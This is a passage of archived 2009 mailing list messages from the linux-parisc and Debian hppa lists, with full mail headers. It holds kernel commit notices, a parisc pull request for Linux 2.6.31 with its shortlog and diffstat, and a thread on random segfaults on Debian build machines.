Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1841>

New commits:
commit 89ff26af79bd7ba93e5d98aa194527e55839e64a
Author: Alexander Beregalov <a.beregalov@gmail.com>
Date:   Thu Apr 16 14:45:59 2009 +0000

    parisc: superio: fix build breakage
    
    Usage of parport_pc_probe_port was changed in 28783eb52
    (parport: Fix various uses of parport_pc).
    
    It introduced this build error:
    drivers/parisc/superio.c: In function 'superio_parport_init':
    drivers/parisc/superio.c:437: error: too few arguments to function
    				'parport_pc_probe_port'
    
    Fix it.
    
    Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Thu, 2 Jul 2009 17:12:38 GMT
Lines: 17
Approved: news@gmane.org
Message-ID: <200907021712.n62HCcNL001333@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246554771 26841 80.91.229.12 (2 Jul 2009 17:12:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Jul 2009 17:12:51 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 02 19:12:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MMPpy-0006Ed-0L
	for glpp-linux-parisc@gmane.org; Thu, 02 Jul 2009 19:12:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750848AbZGBRMg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Jul 2009 13:12:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751094AbZGBRMg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 2 Jul 2009 13:12:36 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:57916 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750848AbZGBRMg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Jul 2009 13:12:36 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX188+2zlUMPqzySJ93KvvO/cQw38KaPqHQM@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n62HCdBc001335
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 2 Jul 2009 17:12:39 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n62HCcNL001333
	for linux-parisc@vger.kernel.org; Thu, 2 Jul 2009 17:12:38 GMT
X-Virus-Scanned: ClamAV 0.93.3/9535/Thu Jul  2 08:57:25 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Jul 2009 17:12:39 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1842
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1842>

New commits:
commit 0517fbf0368b173814ca6c2a260abbb83754d09d
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Thu Jul 2 13:10:29 2009 -0400

    parisc: use generic atomic64 on 32-bit
    
    Somewhat redundant since our atomic_t uses hashed-locks on 32-bit
    anyway... Maybe we can clean those up to be generic too someday.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/tracehook
Date: Fri, 3 Jul 2009 04:51:24 GMT
Lines: 40
Approved: news@gmane.org
Message-ID: <200907030451.n634pOiY024401@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246596701 27526 80.91.229.12 (3 Jul 2009 04:51:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jul 2009 04:51:41 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 03 06:51:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MMakB-00031O-E3
	for glpp-linux-parisc@gmane.org; Fri, 03 Jul 2009 06:51:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753223AbZGCEvW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Jul 2009 00:51:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753059AbZGCEvW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 3 Jul 2009 00:51:22 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:55585 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751952AbZGCEvV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Jul 2009 00:51:21 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX19PyjUNrKR+favT38TV36i+ArALXFFt9ns@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n634pOUp024403
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Fri, 3 Jul 2009 04:51:25 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n634pOiY024401
	for linux-parisc@vger.kernel.org; Fri, 3 Jul 2009 04:51:24 GMT
X-Virus-Scanned: ClamAV 0.93.3/9535/Thu Jul  2 08:57:25 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Fri, 03 Jul 2009 04:51:25 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1843
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1843>

Rebased ref, commits from common ancestor:
commit a1a05b2c74e95132143d10fa2282982076f1b6da
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Mon Apr 27 00:51:13 2009 -0400

    parisc: TIF_NOTIFY_RESUME
    
    Not-yet-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 69ec70ca574565ec6423684bcebc9c543b6eacbc
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Mon Apr 27 00:29:53 2009 -0400

    parisc: tracehook_signal_handler
    
    This makes parisc call the standard tracehook_signal_handler hook
    in <linux/tracehook.h> after setting up a signal handler.
    
    Not-yet-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 9b1332c0151b50526980891d96fe9dec09b5aaaf
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Apr 26 23:53:34 2009 -0400

    parisc: tracehook_report_syscall
    
    This makes parisc use the standard tracehook_report_syscall_entry
    and tracehook_report_syscall_exit hooks in <linux/tracehook.h>.
    
    To do this, we need to access current->thread.regs, and to know
    whether we're entering or exiting the syscall, so add this to
    syscall_trace.
    
    Not-yet-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT]: parisc for 2.6.31
Date: Fri, 3 Jul 2009 05:22:20 +0000
Lines: 109
Approved: news@gmane.org
Message-ID: <20090703052220.GA6012@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246598557 31264 80.91.229.12 (3 Jul 2009 05:22:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jul 2009 05:22:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca,
	linux-kernel@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 03 07:22:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MMbED-00041W-HW
	for glpp-linux-parisc@gmane.org; Fri, 03 Jul 2009 07:22:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752068AbZGCFWX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Jul 2009 01:22:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752739AbZGCFWX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 3 Jul 2009 01:22:23 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:56879 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751635AbZGCFWW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Jul 2009 01:22:22 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/EtwOsFLft5V9axq190puuVqp/lzON+Y8@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n635ML1I004946
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 3 Jul 2009 05:22:21 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n635MKB0004945;
	Fri, 3 Jul 2009 05:22:20 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Virus-Scanned: ClamAV 0.93.3/9535/Thu Jul  2 08:57:25 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Fri, 03 Jul 2009 05:22:21 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1844 gmane.linux.kernel:861081
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1844>

Hi Linus,

Sorry these got delayed passed -rc1, but we were tracking down a few
last minute bugs, and I wanted it to get some testing across a bunch of
different hardware. (The only reason for the new commit timestamps is I
rewrote a few of the commit messages, the patch contents are unchanged
from what's been in the parisc branch for a few weeks now.)

parisc-folks: the 'parisc' branch will get rebased after the merge, so
you'll have to manually update your local branches that follow it.

Thanks, Kyle

The following changes since commit d888a4c76c51092993643f8992bf55b3c28da483:
  Linus Torvalds (1):
        Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/vapier/blackfin

are available in the git repository at:

  hera.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git for-linus

Alexander Beregalov (5):
      parisc: stifb: should depend on STI_CONSOLE
      parisc: ccio-dma: fix build failure without procfs
      parisc: remove CVS keywords
      parisc: decode_exc.c should include kernel.h
      parisc: superio: fix build breakage

Bastian Blank (1):
      parisc: Remove casts from atomic macros

Christoph Hellwig (1):
      parisc: remove dead code from sys_parisc32.c

Coly Li (1):
      parisc: add parameter to read_cr16()

Grant Grundler (3):
      parisc: advertise PCI devs after "assign_resources"
      parisc: Fix gcc 4.4 warning in lba_pci.c
      parisc: fix "delay!" timer handling

Helge Deller (3):
      parisc: fix ldcw inline assembler
      parisc: fix irq compile bugs in arch/parisc/kernel/irq.c
      parisc: ensure broadcast tlb purge runs single threaded

Kyle McMartin (10):
      parisc: wire up preadv/pwritev syscalls
      parisc: kill WARN in free_initmem when DEBUG_KERNEL
      parisc: wire up rt_tgsigqueueinfo
      parisc: fix compile warning in mm/init.c
      parisc: processor.c, fix bloated stack frame
      parisc: inventory.c, fix bloated stack frame
      parisc: wire sys_perf_counter_open to sys_ni_syscall
      parisc: add task_pt_regs macro
      parisc: perf: wire up sys_perf_counter_open
      parisc: use generic atomic64 on 32-bit

Matthew Wilcox (1):
      parisc: Fix PCI resource allocation on non-PAT SBA machines

Randolph Chung (1):
      parisc: fix mismatched parenthesis in memcpy.c

Thomas Gleixner (1):
      parisc: remove obsolete hw_interrupt_type

 arch/parisc/Kconfig                    |    2 +
 arch/parisc/include/asm/atomic.h       |   14 +++--
 arch/parisc/include/asm/dma.h          |    3 +-
 arch/parisc/include/asm/perf_counter.h |    7 +++
 arch/parisc/include/asm/processor.h    |    3 +
 arch/parisc/include/asm/system.h       |    4 +-
 arch/parisc/include/asm/tlbflush.h     |   14 +++---
 arch/parisc/include/asm/unistd.h       |    6 ++-
 arch/parisc/kernel/cache.c             |   26 ++++++----
 arch/parisc/kernel/inventory.c         |   41 +++++++++------
 arch/parisc/kernel/irq.c               |   10 ++--
 arch/parisc/kernel/pci-dma.c           |   12 +++--
 arch/parisc/kernel/pci.c               |    3 +-
 arch/parisc/kernel/processor.c         |   19 ++++---
 arch/parisc/kernel/setup.c             |    3 +-
 arch/parisc/kernel/sys_parisc32.c      |   62 ----------------------
 arch/parisc/kernel/syscall_table.S     |    4 ++
 arch/parisc/kernel/time.c              |   90 +++++++++++++++++++-------------
 arch/parisc/lib/checksum.c             |    2 -
 arch/parisc/lib/memcpy.c               |    2 +-
 arch/parisc/math-emu/decode_exc.c      |    2 +-
 arch/parisc/mm/fault.c                 |    3 +-
 arch/parisc/mm/init.c                  |   29 +++-------
 drivers/parisc/ccio-dma.c              |    7 ++-
 drivers/parisc/dino.c                  |   12 ++--
 drivers/parisc/eisa.c                  |    2 +-
 drivers/parisc/gsc.c                   |    4 +-
 drivers/parisc/gsc.h                   |    2 +-
 drivers/parisc/iosapic.c               |    2 +-
 drivers/parisc/lba_pci.c               |   41 ++++++++++-----
 drivers/parisc/sba_iommu.c             |    2 +
 drivers/parisc/superio.c               |    6 +-
 drivers/video/Kconfig                  |    2 +
 tools/perf/perf.h                      |    6 ++
 34 files changed, 228 insertions(+), 219 deletions(-)
 create mode 100644 arch/parisc/include/asm/perf_counter.h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Roeckx <kurt@roeckx.be>
Newsgroups: gmane.linux.debian.devel.release,gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: HPPA and Squeeze
Date: Fri, 3 Jul 2009 20:57:56 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <20090703185756.GA323@roeckx.be>
References: <4A3B2AC4.90105@debian.org> <20090619151526.GA30984@roeckx.be> <20090619154324.GA26579@durotan.0x539.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246647500 4622 80.91.229.12 (3 Jul 2009 18:58:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jul 2009 18:58:20 +0000 (UTC)
Cc: "debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Debian Release <debian-release@lists.debian.org>
To: Philipp Kern <pkern@debian.org>
Original-X-From: bounce-debian-release=debian-release=m.gmane.org@lists.debian.org Fri Jul 03 20:58:13 2009
Return-path: <bounce-debian-release=debian-release=m.gmane.org@lists.debian.org>
Envelope-to: debian-release@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MMnxb-0005dr-Hs
	for debian-release@m.gmane.org; Fri, 03 Jul 2009 20:58:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 06F4413A5DAF; Fri,  3 Jul 2009 18:58:11 +0000 (UTC)
Old-Return-Path: <kurt@roeckx.be>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-3.9 required=4.0 tests=FOURLA,FVGT_m_MULTI_ODD,
	IMPRONONCABLE_2,LDO_WHITELIST autolearn=no version=3.2.5
X-Original-To: lists-debian-release@liszt.debian.org
Delivered-To: lists-debian-release@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 422E513A442B
	for <lists-debian-release@liszt.debian.org>; Fri,  3 Jul 2009 18:58:04 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-ht
X-Amavis-Spam-Status: No, score=-5.88 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, FVGT_m_MULTI_ODD=0.02,
	IMPRONONCABLE_2=1, LDO_WHITELIST=-5] autolearn=no
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id L7gRDcwRuDrz
	for <lists-debian-release@liszt.debian.org>;
	Fri,  3 Jul 2009 18:58:00 +0000 (UTC)
Original-Received: from jacques.telenet-ops.be (jacques.telenet-ops.be [195.130.132.50])
	by liszt.debian.org (Postfix) with ESMTP id E908313A5C87
	for <debian-release@lists.debian.org>; Fri,  3 Jul 2009 18:57:59 +0000 (UTC)
Original-Received: from intrepid.roeckx.be ([84.194.126.74])
	by jacques.telenet-ops.be with bizsmtp
	id BWxx1c0051cSCaU0JWxxz0; Fri, 03 Jul 2009 20:57:57 +0200
Original-Received: by intrepid.roeckx.be (Postfix, from userid 1000)
	id 21013EBC5E; Fri,  3 Jul 2009 20:57:56 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090619154324.GA26579@durotan.0x539.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <r0NIKWyC49I.A.FR.CTlTKB@liszt>
Resent-From: debian-release@lists.debian.org
X-Mailing-List: <debian-release@lists.debian.org> archive/latest/32160
X-Loop: debian-release@lists.debian.org
List-Id: <debian-release.lists.debian.org>
List-Post: <mailto:debian-release@lists.debian.org>
List-Help: <mailto:debian-release-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-release-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-release-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-release-request@lists.debian.org
Resent-Date: Fri,  3 Jul 2009 18:58:11 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.devel.release:30987 gmane.linux.debian.ports.hppa:5797 gmane.linux.ports.parisc:1845
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1845>

On Fri, Jun 19, 2009 at 05:43:24PM +0200, Philipp Kern wrote:
> On Fri, Jun 19, 2009 at 05:15:26PM +0200, Kurt Roeckx wrote:
> > Here is a list of packages that failed to build because of instability
> > on the buildds today:
> > package     | buildd   | error
> > qgit        | penalosa | make: *** [install] Segmentation fault
> > acpica-unix | peri     | make: *** [install] Segmentation fault
> 
> I had those random segfaults in make on paer too, until we switched to the
> UP kernel, at least from what I saw.

Did something change to peri?  I'm currently only seeing them on
penalosa.

Failed logs the past few days:
Jun 22 | wesnoth                | penalosa | quilt segfaults
Jun 22 | gitg                   | penalosa | quilt segfaults
Jun 23 | zita-convolver         | penalosa | quilt segfaults
Jun 25 | autodocksuite          | penalosa | make segfaults
Jun 26 | mpd                    | penalosa | find segfaults?
Jun 30 | scorched3d             | penalosa | make segfaults
Jun 30 | libtext-bibtex-perl    | penalosa | make segfaults
Jun 30 | gnome-chemistry-utils  | penalosa | libtool segfaults
Jul 01 | openmsx-catapult       | penalosa | make segfaults
Jul 01 | prima                  | penalosa | make segfaults
Jul 01 | fvwm                   | penalosa | gcc says as had a segfault
Jul 01 | cherokee               | penalosa | quilt segfaults
Jul 03 | vflib3		        | penalosa | make segfaults
Jul 03 | rpy2		        | penalosa | make segfaults
Jul 03 | debian-installer-utils | penalosa | make segfaults

On other that looks weird is, all also on penalosa:
- scid, seems to have been stuck in a "cp".
- postgresql-8.3, not sure what the error is
- building gnome-system-monitor, openssh-client failed to install
  in it's postinst script calling update-alternatives

And then there is glob2 that fails with:
/usr/bin/ld: libgag/src/libgag.a(FileManager.o)(.text+0x2fc8): cannot reach 0000f9bf_memcpy@@GLIBC_2.2+0, recompile with -ffunction-sections
/usr/bin/ld: libgag/src/libgag.a(FileManager.o)(.text+0x2fc8): cannot handle R_PARISC_PCREL17F for memcpy@@GLIBC_2.2
/usr/bin/ld: final link failed: Bad value
collect2: ld returned 1 exit status


Kurt



From - Thu Nov 08 21:04:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Kern <pkern@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Fri, 3 Jul 2009 21:28:00 +0200
Organization: The Debian Project (http://www.debian.org)
Lines: 39
Approved: news@gmane.org
Message-ID: <20090703192800.GA15390@durotan.0x539.de>
References: <4A3B2AC4.90105@debian.org> <20090619151526.GA30984@roeckx.be> <20090619154324.GA26579@durotan.0x539.de> <20090703185756.GA323@roeckx.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="k+w/mQv8wyuph6w0"
X-Trace: ger.gmane.org 1246649297 11464 80.91.229.12 (3 Jul 2009 19:28:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jul 2009 19:28:17 +0000 (UTC)
Cc: "debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Debian Release <debian-release@lists.debian.org>
To: Kurt Roeckx <kurt@roeckx.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 03 21:28:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MMoQY-0000HA-HX
	for glpp-linux-parisc@gmane.org; Fri, 03 Jul 2009 21:28:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758805AbZGCT2B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Jul 2009 15:28:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758791AbZGCT2A
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 3 Jul 2009 15:28:00 -0400
Original-Received: from durotan.0x539.de ([88.198.49.206]:36897 "EHLO durotan.0x539.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758070AbZGCT17 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Jul 2009 15:27:59 -0400
Original-Received: from pkern by durotan.0x539.de with local (Exim 4.69)
	(envelope-from <pkern@durotan.0x539.de>)
	id 1MMoQS-00040S-Jk; Fri, 03 Jul 2009 21:28:00 +0200
Content-Disposition: inline
In-Reply-To: <20090703185756.GA323@roeckx.be>
X-Debbugs-No-Ack: yes
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1846 gmane.linux.debian.ports.hppa:5798 gmane.linux.debian.devel.release:30988
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1846>


--k+w/mQv8wyuph6w0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, Jul 03, 2009 at 08:57:56PM +0200, Kurt Roeckx wrote:
> Did something change to peri?  I'm currently only seeing them on
> penalosa.

UP kernel, maybe?

Kind regards,
Philipp Kern
--=20
 .''`.  Philipp Kern                        Debian Developer
: :' :  http://philkern.de                         Stable Release Manager
`. `'   xmpp:phil@0x539.de                         Wanna-Build Admin
  `-    finger pkern/key@db.debian.org

--k+w/mQv8wyuph6w0
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkpOW8AACgkQ7Ro5M7LPzdgEFgCg06Q2Mg4ukBfnksffClyU/wuf
F0oAoKfngZ/1x8O8buYFE2vk/PkiwoIP
=72m1
-----END PGP SIGNATURE-----

--k+w/mQv8wyuph6w0--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Roeckx <kurt@roeckx.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 4 Jul 2009 00:15:25 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20090703221525.GA4242@roeckx.be>
References: <4A3B2AC4.90105@debian.org> <20090619151526.GA30984@roeckx.be> <20090619154324.GA26579@durotan.0x539.de> <20090703185756.GA323@roeckx.be> <20090703192800.GA15390@durotan.0x539.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246659340 3655 80.91.229.12 (3 Jul 2009 22:15:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jul 2009 22:15:40 +0000 (UTC)
Cc: "debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Debian Release <debian-release@lists.debian.org>
To: Philipp Kern <pkern@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 04 00:15:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MMr2a-0006B8-Ci
	for glpp-linux-parisc@gmane.org; Sat, 04 Jul 2009 00:15:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755087AbZGCWPY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Jul 2009 18:15:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756144AbZGCWPY
	(ORCPT <rfc822;linux-parisc-outgoing>);
